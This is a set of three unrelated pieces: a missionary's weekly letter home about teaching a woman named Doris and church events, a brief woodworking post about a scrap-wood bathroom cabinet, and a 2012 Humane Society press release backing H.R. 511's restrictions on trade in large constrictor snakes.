So I have a new grandmother family! Surprise! Doris is my new grandmother:) She keeps telling us she wants to adopt us so we will just make it official. Anyway we hung out with her pretty much all weekend. We were having a lesson on Thursday all on prayer because we know she really needs to find out if this message is true for herself. Well at the end of the lesson she says something along the lines of she doesn't feel like she needs to ask because she already believes the Book of Mormon is the word of God. OH! Okay so do you believe Joseph Smith was a prophet? Then we did our best to connect how if she believes all of this is true then we would expect her to act on it and get baptized. So that was really bad paying attention on our part but at least now we know.
Doris came with us to the Life of Christ event on Friday. I went last year and it was just as awesome! There was a regional choir performance of some amazing songs and then a bunch of displays and art work in different scenes of Christ's life and live actors telling stories as if they'd been there witnessing certain events. It was really amazing. I seriously do believe that Jesus Christ is our Savior. I heard it once that our understanding of Jesus Christ and the Atonement increases as we learn about the fall of Adam and Eve because that's when we really learn who we are and the fallen state that we are in right now and so our need for a savior. This gospel is so true. We really are children of God. Jesus Christ did really atone for our sins and he was resurrected on the third day so that we can return to live with our Heavenly Father if we obey the laws and ordinances of the gospel which is faith in Jesus Christ and his atonement, repentance, baptism, receiving the gift of the Holy Ghost, and enduring to the end. He really has restored his church through his modern day prophet Joseph Smith. Thomas S. Monson really is God's prophet today.
We also went to the General Women's Meeting with Doris on Saturday. Oh it was such a wonderful meeting! I loved the focus on the family. I loved how Sister Stephens talked about although she hasn't gone through all these different challenges she listed she has gone through her own challenges that have brought her to her knees. And she has experienced many more through the eyes of others. I love how it was said that we don't know what others are going through but the Savior of us all- he does. I loved President Eyrings talk about bearing others burdens.
This week I have come to realize even more how much I love the priesthood and respect my priesthood leaders. There's something about going a long time without seeing a priesthood leader and then just being able to see them and hear their words. Like on Friday at the Life of Christ we were able to see President Taylor. And then we were able to see President Monson and the First Presidency at the Women's Meeting broadcast. The priesthood is real. And the mantle of those in leadership is very real. I am so grateful for those who give up so much to the Lord's service.
Well transfer update I am staying with Sister Hansen yay!!!! Though there wasn't really any question in my mind about that. I honestly wouldn't be surprised if I stayed here till the end of my mission. I sure love it here so I wouldn't mind! I haven't had a chance yet to stay in an area (besides this one) for a very long time and really learn to love the people and serve them for a long period of time (mission wise). This is now the longest I've been in an area and I am so grateful for it! I am really loving being able to work to strengthen those we are teaching and working with.
I've been thinking a lot about change lately. I feel like an old lady but the start of my mission was so long ago it seems and I don't totally remember all of it. But I am think I've changed a lot. Is it noticeable? Um... I probably still look like a 20 year old who still does dumb things and isn't always very mature, but internally I have changed a lot. I have deepened my understanding of the gospel, I have increased my skills with people, I have learned a little more about the value of obedience, and I have learned how to play scatter-ball:) But really. I love Vancouver and I love being a missionary. I am so grateful for this chance that I have to be a missionary. I wouldn't change it for anything else.
One more story. We had a pretty awesome miracle. Saturday night we were planning and we hadn't found anyone new to teach for the week and we had wanted to find 3. Well we set a goal to find 3. We were doing the usual Sunday activity of tracting and we talked to a bunch of people with no avail and so we changed areas and biked directly to this random house and talked to this couple who has family who are members of the church and wants to learn more but has never previously been invited to do so. (Make sure we always invite.) Then it was time to go in and so we said a prayer that we would be able to fulfill our goal. We also really needed to go in so that we could finish training study for the week. Well we said a prayer and turned around and saw this girl and went and talked to her and she really wants to learn more. We biked away from that and Sister Hansen said "I've never had a prayer answered that fast!" The Lord sometimes is just waiting to give us miracles it's only dependent on if we ask. So don't forget to ask.
I love you all so much I hope you know! I hope that you have such a wonderful week.
Sister Kaitlyn Beard
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So a couple of months ago is started this project. It ended up in the corner of my shop as time did not allow me to move forward with it. I saw it yesterday and decided to get it moving again. I just needed something really simple for my bathroom. So here is the progress I've made.
I used some old scraps of plywood, poplar and pine to put it together using pocket screws. I had some mouldings sitting around that i use on the top. It's only got primer on it now so I still have some work to do before it's done. Keep you posted!
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February 28, 2012
The Humane Society of the United States Applauds House Judiciary Committee Passage of Bill to Restrict Trade in Dangerous Constricting Snakes
House Action Comes Just Weeks After Announcement of Final Interior Department Rule That Covered Just Four of Nine Species Posing Risk
The Humane Society of the United States applauds the U.S. House Judiciary Committee's passage of H.R. 511, a bill that will add nine species of large constrictor snakes to the list of injurious species under the Lacey Act.
"The House Judiciary Committee recognized that the trade in large, constricting snakes is reckless and irresponsible, putting people, ecosystems and the animals that live in them, and the snakes themselves at risk," said Wayne Pacelle, president and CEO of The Humane Society of the United States. "We hope that the bill is scheduled for a vote on the House floor soon, and that the Senate takes up the matter expeditiously."
The HSUS thanks the author of the bill, Rep. Tom Rooney, R-Fla., for his leadership on the issue, and House Judiciary Committee Chairman Lamar Smith, R-Texas, and Ranking Member John Conyers, D-Mich., Subcommittee Chairman Jim Sensenbrenner, R-Wisc., and Ranking Member Bobby Scott, D-Va., for their strong support of the legislation. Three other committee members, Reps. Elton Gallegly, R-Calif., Howard Berman, D-Calif., and Ted Deutch. D-Fla., showed tremendous leadership in advocating for the legislation and fending off some harmful amendments.
H.R. 511 would ban the import or interstate trade for use as pets of the Indian python (including Burmese python), reticulated python, Northern African python, Southern African python, boa constrictor, green anaconda, yellow anaconda, DeSchauensee's anaconda and Beni anaconda. The bill addresses the trade in nine species identified by the U.S. Geological Survey as posing "high" or "medium" risk of becoming established in the wild as an invasive species. Passage of this legislation would spare thousands of high-maintenance, powerful predators the suffering of the exotic animal trade.
In March 2010, the U.S. Fish and Wildlife Service proposed a rule to ban nine species of pythons, boa constrictors, and anacondas identified in the USGS report as posing significant risk to the environment. In January 2012, Interior Secretary Ken Salazar announced a final rule restricting trade in just four of the nine species—a helpful step, but one covering just 30 percent of imports of the nine species posing a significant risk to the environment.
By including only some species, the trade will simply shift to the other species—including boa constrictors and reticulated pythons which represent two-thirds of the trade, and boa constrictors identified as posing "high" risk—and the threats to public safety, animal welfare, and the environment will continue uninterrupted. It's for this reason that The HSUS strongly supports enactment of H.R. 511.
The ecological havoc wrought by invasive snakes is worse than anyone anticipated. A January 2012 report by researchers with the National Academy of Sciences found that Burmese pythons, in a little more than a decade of colonizing the Everglades, have wiped out 99 percent of raccoons, opossums and other small and medium-sized mammals, and 87 percent of bobcats. A great American ecosystem has been put at grave risk because of this invasive species. By having such an impact, it will inevitably harm the ability of Florida panthers, one of the most endangered animals in our nation, to survive. We must act now in order to prevent large constricting snakes from colonizing other ecosystems and having such a devastating impact on them, too.
The U.S. Department of Interior expected to spend $100 million in 2011 controlling invasive species, including the pythons breeding wild in Florida. "We must prevent these problems from developing in the first place, and not spend taxpayer dollars to clean up problems we should have anticipated," added Pacelle. "It's fiscally reckless to allow these impacts to continue given their predictability."
Constrictor snakes have killed 15 people in the United States, including seven children, with reticulated pythons accounting for the largest share of attacks. The tragic death of a Florida toddler in 2009 put a fine point on why the private ownership of these animals is just not worth the risk of children or adults being killed by them.
The Committee rejected an amendment offered by Rep. Jason Chaffetz, R-Utah, that would have removed boa constrictors from the trade restrictions; boa constrictors represent more than 55 percent of the large constrictor snakes in the trade, are identified as posing "high" risk, have already colonized South Florida, and have killed at least two people in the U.S. including a 34-year-old Nebraska man who was strangled to death in 2010. The Committee accepted an amendment offered by Rep. Dennis Ross, R-Fla., to exempt any USDA-licensed exhibitor from the trade restrictions, which The HSUS believes is too broad and provides a major loophole for the reptile trade, especially since the Secretary of the Interior already has the regulatory authority to grant individual exemptions for legitimate purposes.
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